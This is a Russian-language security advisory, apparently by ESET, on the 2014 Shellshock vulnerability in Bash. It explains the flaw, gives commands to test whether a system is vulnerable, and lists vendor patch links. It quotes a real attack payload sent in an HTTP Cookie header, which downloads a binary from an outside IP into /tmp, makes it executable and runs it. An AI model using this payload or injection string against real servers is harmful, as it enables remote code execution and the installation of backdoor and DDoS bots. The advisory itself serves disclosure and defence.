Уязвимость Shellshock (CVE-2014-6271) по масштабности и последствиям для всемирной сети и подключенных к ней устройств можно сравнить только с печально известной Heartbleed, которая была обнаружена весной этого года. Такое название получила уязвимость в командном интерпретаторе Bash, который используется во всевозможных модификациях и дистрибутивах Linux, Unix, Apple OS X (включая новейшую версию OS X Mavericks), а также Android. Уязвимости присвоен наивысший — 10-й уровень опасности, при этом уязвимыми являются все версии интерпретатора, включая новейшую 4.3.
Основную опасность Shellshock представляет по той причине, что он позволяет удаленно выполнить код на уязвимой ОС (исполнять необходимые атакующим команды интерпретатором). При этом с точки зрения эксплуатации уязвимости, это сделать довольно просто. Сам Bash привлекается к использованию в CGI-скриптах (что и позволяет осуществлять удаленную эксплуатацию), которые работают на веб-серверах и не только, например, с использованием компонента cgi_module. Одна из вредоносных программ, которая доставляется атакующими на скомпрометированный сервер обнаруживается AV-продуктами ESET как Linux/DDoS.M.
Проверить присутствие уязвимости в Bash довольно просто, для этого может использоваться следующая команда.
$ env x='() { :;}; echo vulnerable' bash -c "echo completed"
Рис. Демонстрация уязвимого интерпретатора на OS X Snow Leopard.
Из-за присутствия в начале команды интерпретатора последовательности символов "() { :;};", которые вызывают срабатывание уязвимости, интерпретатор «съедает» оставшуюся часть команды и исполняет ее, хотя должен показать сообщение об ошибке синтаксиса.
host@host2 ~ $ env x='() { :;}; echo vulnerable' bash -c «echo completed»
bash: warning: x: ignoring function definition attempt
bash: error importing function definition for `x'
completed
Рис. Поведение Bash на Gentoo Linux с примененным патчем. Отсутствует вывод vulnerable.
Рис. Первый патч для Linux Ubuntu также содержал недоработки.
Следующей командой можно проверить уязвима ли система после применения патча. В случае отображения текущей даты, проблема осталась.
env X='() { (a)=>' sh -c "echo date"; cat echo
После появления информации об этой уязвимости, в открытом доступе был выложен реальный пример эксплуатации уязвимости, который позволял удаленно копировать исполняемый ELF-файл на сервер. Для этого атакующими могут быть использованы различные поля заголовка запроса HTTP-протокола, которые попадают в CGI-скрипт, а затем исполняются уязвимой версией Bash. Пример одного из таких аргументов запроса представлен ниже. Попадая в Bash команды интерпретатора загружают файл с удаленного сервера и устанавливают для него необходимые права доступа.
.Cookie:().{.:;.};.wget.-O./tmp/besh.http://162.253.66.76/nginx;.chmod.777./tmp/besh;./tmp/besh;
Наблюдаемые нами в этой кампании вредоносные программы для Linux представляли из себя боты, которые открывают доступ для злоумышленников на удаленный сервер (бэкдор), а также специализируются в организации DDoS-атак. Три известные модификации этих вредоносных программ обнаруживаются нашими AV-продуктами как Linux/DDoS.M.
Получить обновления безопасности по этой уязвимости для дистрибутивов Linux можно по следующим ссылкам.
- CentOS centosnow.blogspot.com/2014/09/critical-bash-updates-for-centos-5.html
- Red Hat access.redhat.com/articles/1200223
- Ubuntu www.ubuntu.com/usn/usn-2362-1/
- Novell/SUSE — support.novell.com/security/cve/CVE-2014-6271.html
- Debian www.debian.org/security/2014/dsa-3032 www.debian.org/security/2014/dsa-3035
Мы рекомендуем воспользоваться обновлениями для соответствующих продуктов и установить их как можно скорее.
be secure.
Автор: esetnod32